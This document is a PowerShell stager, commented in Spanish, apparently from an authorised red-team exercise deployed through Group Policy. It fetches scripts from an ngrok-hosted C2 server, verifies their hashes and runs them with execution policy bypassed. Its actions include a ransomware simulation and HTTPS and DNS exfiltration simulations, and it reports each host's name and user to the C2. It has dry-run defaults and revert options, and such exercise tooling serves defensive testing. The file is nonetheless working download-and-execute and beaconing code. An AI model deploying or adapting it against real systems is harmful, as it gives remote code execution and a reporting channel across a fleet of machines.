<# .SYNOPSIS Arnes RT - Stager: descarga del C2, verifica integridad y ejecuta la accion pedida. .DESCRIPTION Es lo UNICO que la GPO tiene que traer a la maquina: este fichero. Todo lo demas (arnes, alcance) se descarga del C2, se verifica con sha256 contra manifest.json y se ejecuta. Diferencias con el patron del script original (que si tenia estos defectos): - TLS 1.2 explicito: en Windows antiguos PowerShell 5.1 usa TLS 1.0 y la descarga falla. - Cabecera 'ngrok-skip-browser-warning': el interstitial de ngrok servia una pagina HTML en lugar del fichero y rompia la ejecucion. - MANIFIESTO CON SHA256: si un fichero baja corrupto, truncado o manipulado, ABORTA y no ejecuta nada. Es la diferencia entre "bajar y ejecutar" y "bajar, verificar y ejecutar". - Sin -Execute no se actua: la GPO puede disparar y demostrar que el canal funciona sin cambiar nada en el activo. - Los interlocks de los scripts descargados siguen activos: ventana UTC, topes, STOP flag, dry_run y marcador de canario. El stager NO los salta. Escribe un fichero de estado recolectable por el operador y deja los logs de la accion en el directorio de trabajo. .PARAMETER BaseUrl URL base del payload en el C2, sin barra final. Ej: https://c2/rt .PARAMETER Action Que ejecutar: Vector2Sim, Vector2Revert, CanaryGen, CanaryPlant, ExfilHttpsLow, ExfilHttpsBurst, ExfilDnsLow, ExfilDnsBurst, Scoreboard, Retire, Vector1Plantar (siembra), Vector1Ciclo (siembra + exfiltracion). .PARAMETER WorkDir Donde descargar. Por defecto %ProgramData%\RT\stage .PARAMETER Token Token del C2. Solo es necesario si el payload se sirve protegido o si hay que pasarselo al scoreboard. .EXAMPLE # Prueba del canal: descarga, verifica y simula. No cambia nada. .\bootstrap.ps1 -BaseUrl 'https://c2/rt' -Action Vector2Sim .EXAMPLE # Ejecucion real (los interlocks del alcance siguen aplicando) .\bootstrap.ps1 -BaseUrl 'https://c2/rt' -Action Vector2Sim -Execute #> [CmdletBinding()] param( [Parameter(Mandatory)][string]$BaseUrl, [ValidateSet('Vector2Sim', 'Vector2Revert', 'CanaryGen', 'CanaryPlant', 'ExfilHttpsLow', 'ExfilHttpsBurst', 'ExfilDnsLow', 'ExfilDnsBurst', 'Scoreboard', 'Retire', 'Vector1Plantar', 'Vector1Ciclo', 'EjercicioCompleto', 'RevertirTodo')] [string]$Action = 'Vector2Sim', [string]$WorkDir, [string]$ScopeName = 'scope.json', [string]$Token, [switch]$Execute, # Reversion completa en un solo paso. Es el "mismo comando con un parametro # adicional" que pide la interfaz: encadena restaurar el impacto y retirar los # senuelos. Implica ejecucion real (una reversion a medias es peor que ninguna). [switch]$Revertir ) $ErrorActionPreference = 'Stop' $startedUtc = (Get-Date).ToUniversalTime() $BaseUrl = $BaseUrl.TrimEnd('/') # -Revertir es azucar sobre -Action RevertirTodo: mismo despacho, misma tabla, un solo # camino de codigo. Y fuerza la ejecucion: la reversion no se simula. if ($Revertir) { $Action = 'RevertirTodo' $Execute = $true } if (-not $WorkDir) { $WorkDir = Join-Path $env:ProgramData 'RT\stage' } $WorkDir = [System.IO.Path]::GetFullPath($WorkDir) $logDir = Join-Path $WorkDir '_logs' New-Item -ItemType Directory -Path $logDir -Force | Out-Null $status = [ordered]@{ host = $env:COMPUTERNAME user = "$env:USERDOMAIN\$env:USERNAME" action = $Action execute = [bool]$Execute base_url = $BaseUrl work_dir = $WorkDir started_utc = $startedUtc.ToString('yyyy-MM-ddTHH:mm:ssZ') result = 'iniciado' files_ok = 0 files_failed = 0 exit_code = $null message = '' manifest = $null } function Write-Stage { param([string]$Message, [string]$Level = 'INFO') $line = '{0} [{1,-6}] {2}' -f ((Get-Date).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')), $Level, $Message switch ($Level) { 'ERROR' { Write-Host $line -ForegroundColor Red } 'WARN' { Write-Host $line -ForegroundColor Yellow } default { Write-Host $line } } try { [System.IO.File]::AppendAllText((Join-Path $logDir 'bootstrap.log'), $line + [Environment]::NewLine) } catch { } } function Save-Stage { try { $status.finished_utc = (Get-Date).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') $file = Join-Path $logDir ('status-{0}-{1}.json' -f $env:COMPUTERNAME, $Action) $status | ConvertTo-Json -Depth 6 | Set-Content -LiteralPath $file -Encoding UTF8 Write-Stage "Estado: $file" } catch { } # ---------------------------------------------------------------------- # Check-in al centro de mando. Se hace AQUI, dentro de Save-Stage, que se # ejecuta SIEMPRE (con exito y con error): asi ninguna accion se queda sin # reportar y el C2 puede levantar el inventario de la flota para el informe. # Fail-soft: si el C2 no responde, el ejercicio NO se rompe. # ---------------------------------------------------------------------- try { $docroot = ([string]$BaseUrl) -replace '/[^/]+/?$', '' # El stager NO carga el alcance en ninguna variable: solo guarda su ruta. Aqui # hace falta para el token. Sin esto el check-in no se enviaba y, peor, no decia # nada: un fallo mudo es el peor fallo posible. if (-not $scope -and $scopePath -and (Test-Path -LiteralPath $scopePath)) { try { $scope = Get-Content -LiteralPath $scopePath -Raw | ConvertFrom-Json } catch { } } $tok = '' if ($scope) { $tok = [string]$scope.c2.token } if (-not $docroot) { Write-Stage 'Check-in al C2: OMITIDO (sin BaseUrl)' 'WARN' } elseif (-not $tok) { Write-Stage "Check-in al C2: OMITIDO (el alcance no trae c2.token): $scopePath" 'WARN' } else { $detalle = [ordered]@{ files_ok = $status.files_ok files_failed = $status.files_failed execute = [bool]$Execute manifest = $status.manifest } $runId = '' $victimId = '' $ultimo = Get-ChildItem -LiteralPath $logDir -Filter 'summary-*.json' -ErrorAction SilentlyContinue | Sort-Object LastWriteTime | Select-Object -Last 1 if ($ultimo) { try { $sj = Get-Content -LiteralPath $ultimo.FullName -Raw | ConvertFrom-Json $detalle['summary'] = $sj if ($sj.run_id) { $runId = [string]$sj.run_id } if ($sj.victim_id) { $victimId = [string]$sj.victim_id } } catch { } } $outLog = Join-Path $logDir ("$Action.out.log") if (-not $victimId -and (Test-Path -LiteralPath $outLog)) { $mm = Select-String -LiteralPath $outLog -Pattern 'Victim ID de esta ejecucion:\s*(\S+)' -ErrorAction SilentlyContinue | Select-Object -First 1 if ($mm) { $victimId = $mm.Matches[0].Groups[1].Value } } $informe = [ordered]@{ host = $env:COMPUTERNAME user = $env:USERNAME action = $Action exercise_id = [string]$scope.exercise_id run_id = $runId victim_id = $victimId mode = $(if ($Execute) { 'real' } else { 'simulacion' }) result = [string]$status.result exit_code = $status.exit_code detail = $detalle } $r = Invoke-RestMethod -Uri "$docroot/report.php" -Method Post -TimeoutSec 20 ` -ContentType 'application/json' ` -Headers @{ Authorization = "Bearer $tok"; 'ngrok-skip-browser-warning' = 'true' } ` -Body ($informe | ConvertTo-Json -Depth 6 -Compress) Write-Stage ("Check-in al C2: OK host={0} ts={1}" -f $r.host, $r.ts_server) } } catch { Write-Stage "Check-in al C2: NO se pudo enviar ($($_.Exception.Message))" 'WARN' } } function Get-Payload { param( [Parameter(Mandatory)][string]$Url, [Parameter(Mandatory)][string]$OutFile ) $dir = Split-Path -Parent $OutFile if ($dir -and -not (Test-Path -LiteralPath $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null } $headers = @{ 'ngrok-skip-browser-warning' = 'true' 'Cache-Control' = 'no-cache' } if ($Token) { $headers['Authorization'] = "Bearer $Token" } $lastErr = $null for ($i = 1; $i -le 3; $i++) { try { Invoke-WebRequest -Uri $Url -OutFile $OutFile -Headers $headers ` -UseBasicParsing -TimeoutSec 60 -ErrorAction Stop # Sin valor de retorno a proposito: cualquier salida aqui se colaria como # ruido (lineas 'True') en el log del stager. Si falla, lanza excepcion. return } catch { $lastErr = $_.Exception.Message Write-Stage "Reintento $i fallido para $Url : $lastErr" 'WARN' Start-Sleep -Seconds 2 } } throw "No se pudo descargar $Url : $lastErr" } # -------------------------------------------------------------------------- # 1. Preparacion # -------------------------------------------------------------------------- [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 [System.Net.ServicePointManager]::Expect100Continue = $false Write-Stage '==============================================================' Write-Stage "Stager RT. accion=$Action execute=$([bool]$Execute)" Write-Stage "Base: $BaseUrl Destino: $WorkDir" if (-not $Execute) { Write-Stage 'MODO PRUEBA: se descarga y verifica todo, y la accion se ejecuta en simulacion.' 'WARN' } try { # ---------------------------------------------------------------------- # 2. Manifiesto # ---------------------------------------------------------------------- $manifestLocal = Join-Path $WorkDir 'manifest.json' Get-Payload -Url "$BaseUrl/manifest.json" -OutFile $manifestLocal $mf = Get-Content -LiteralPath $manifestLocal -Raw | ConvertFrom-Json $status.manifest = [ordered]@{ exercise_id = [string]$mf.exercise_id generated_utc = [string]$mf.generated_utc files = @($mf.files).Count } Write-Stage ("Manifiesto OK: ejercicio={0} ficheros={1} generado={2}" -f $mf.exercise_id, @($mf.files).Count, $mf.generated_utc) # ---------------------------------------------------------------------- # 3. Descarga + verificacion sha256 de cada fichero # ---------------------------------------------------------------------- $bad = @() foreach ($f in @($mf.files)) { $rel = [string]$f.path $expected = ([string]$f.sha256).ToUpper() $local = Join-Path $WorkDir ($rel -replace '/', '\') Get-Payload -Url ("$BaseUrl/" + $rel) -OutFile $local $actual = (Get-FileHash -LiteralPath $local -Algorithm SHA256).Hash if ($actual -ne $expected) { $bad += $rel $status.files_failed++ Write-Stage "INTEGRIDAD FALLIDA: $rel" 'ERROR' Write-Stage " esperado=$expected" 'ERROR' Write-Stage " obtenido=$actual" 'ERROR' } else { $status.files_ok++ } } if ($bad.Count -gt 0) { # Fail-closed: no se ejecuta NADA si un solo fichero no cuadra. $status.result = 'abortado' $status.message = "Integridad fallida en $($bad.Count) fichero(s): $($bad -join ', ')" Write-Stage 'ABORTADO: no se ejecuta nada. Revisa el payload del C2 (o el interstitial de ngrok).' 'ERROR' Save-Stage exit 2 } Write-Stage ("Descarga y verificacion completas: {0} ficheros OK" -f $status.files_ok) # ---------------------------------------------------------------------- # 4. Resolver la accion # ---------------------------------------------------------------------- # Si no se indica -ScopeName, el alcance se elige segun la accion: las del Vector 1 # viven en scope.vector1.json y las del Vector 2 en scope.json. Asi la GPO solo tiene # que cambiar ACTION, sin acordarse de que alcance toca. $accionesV1 = @('CanaryGen', 'CanaryPlant', 'ExfilHttpsLow', 'ExfilHttpsBurst', 'ExfilDnsLow', 'ExfilDnsBurst', 'Scoreboard', 'Retire', 'Vector1Plantar', 'Vector1Ciclo') if ((-not $PSBoundParameters.ContainsKey('ScopeName')) -and ($accionesV1 -contains [string]$Action)) { $ScopeName = 'scope.vector1.json' Write-Host "[RT] Accion de Vector 1: se usa el alcance scope.vector1.json" -ForegroundColor DarkGray } $scopePath = Join-Path $WorkDir $ScopeName if (-not (Test-Path -LiteralPath $scopePath)) { throw "El payload no incluye '$ScopeName'." } $hbin = Join-Path $WorkDir 'harness\bin' $map = @{ Vector2Sim = @{ Script = 'Invoke-RansomSim.ps1'; Args = @(); ForceExecute = $false } Vector2Revert = @{ Script = 'Invoke-Revert.ps1'; Args = @(); ForceExecute = $true } CanaryGen = @{ Script = 'New-Canaries.ps1'; Args = @(); ForceExecute = $false; AceptaExecute = $false } CanaryPlant = @{ Script = 'Invoke-CanaryPlant.ps1'; Args = @(); ForceExecute = $false } ExfilHttpsLow = @{ Script = 'Invoke-ExfilSim.ps1'; Args = @('-Mode', 'https-low'); ForceExecute = $false } ExfilHttpsBurst = @{ Script = 'Invoke-ExfilSim.ps1'; Args = @('-Mode', 'https-burst'); ForceExecute = $false } ExfilDnsLow = @{ Script = 'Invoke-ExfilSim.ps1'; Args = @('-Mode', 'dns-low'); ForceExecute = $false } ExfilDnsBurst = @{ Script = 'Invoke-ExfilSim.ps1'; Args = @('-Mode', 'dns-burst'); ForceExecute = $false } Scoreboard = @{ Script = 'Get-Scoreboard.ps1'; Args = @(); ForceExecute = $false; AceptaExecute = $false } Retire = @{ Script = 'Remove-Canaries.ps1'; Args = @(); ForceExecute = $true } Vector1Plantar = @{ Script = 'Invoke-Vector1Ciclo.ps1'; Args = @('-SoloPlantar'); ForceExecute = $false } Vector1Ciclo = @{ Script = 'Invoke-Vector1Ciclo.ps1'; Args = @(); ForceExecute = $false } EjercicioCompleto = @{ Script = 'Invoke-EjercicioCompleto.ps1'; Args = @(); ForceExecute = $false } RevertirTodo = @{ Script = 'Invoke-RevertirTodo.ps1'; Args = @(); ForceExecute = $true } } $sel = $map[$Action] $scriptPath = Join-Path $hbin ([string]$sel.Script) if (-not (Test-Path -LiteralPath $scriptPath)) { throw "El payload no incluye harness\bin\$($sel.Script)." } $childArgs = @('-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', $scriptPath, '-ScopePath', $scopePath) + @($sel.Args) # Solo se pasa -Execute si el script lo declara: New-Canaries.ps1 y Get-Scoreboard.ps1 no lo tienen. $aceptaExec = -not ($sel.ContainsKey('AceptaExecute') -and ($sel.AceptaExecute -eq $false)) if (($Execute -or $sel.ForceExecute) -and $aceptaExec) { $childArgs += '-Execute' } $logOut = Join-Path $logDir ("$Action.out.log") Remove-Item -LiteralPath $logOut -Force -ErrorAction SilentlyContinue # Se ejecuta en proceso hijo: aisla 'exit' y reproduce la cadena de procesos real. # Se usa invocacion nativa con redireccion a fichero en lugar de Start-Process: # Start-Process -PassThru puede lanzar 'Acceso denegado' al leer ExitCode, aunque # el hijo se haya ejecutado bien. Write-Stage ("Ejecutando: powershell.exe " + ($childArgs -join ' ')) & powershell.exe @childArgs *>&1 | Out-File -LiteralPath $logOut -Encoding UTF8 $code = $LASTEXITCODE $status.exit_code = $code if (Test-Path -LiteralPath $logOut) { foreach ($l in (Get-Content -LiteralPath $logOut)) { Write-Host $l } } $status.result = $(if ($code -eq 0) { 'completado' } else { 'con-fallos' }) $status.message = "exit_code=$code" Write-Stage "Accion '$Action' terminada con exit_code=$code" Save-Stage exit $code } catch { $status.result = 'error' $status.message = $_.Exception.Message Write-Stage "ERROR: $($_.Exception.Message)" 'ERROR' Save-Stage exit 1 }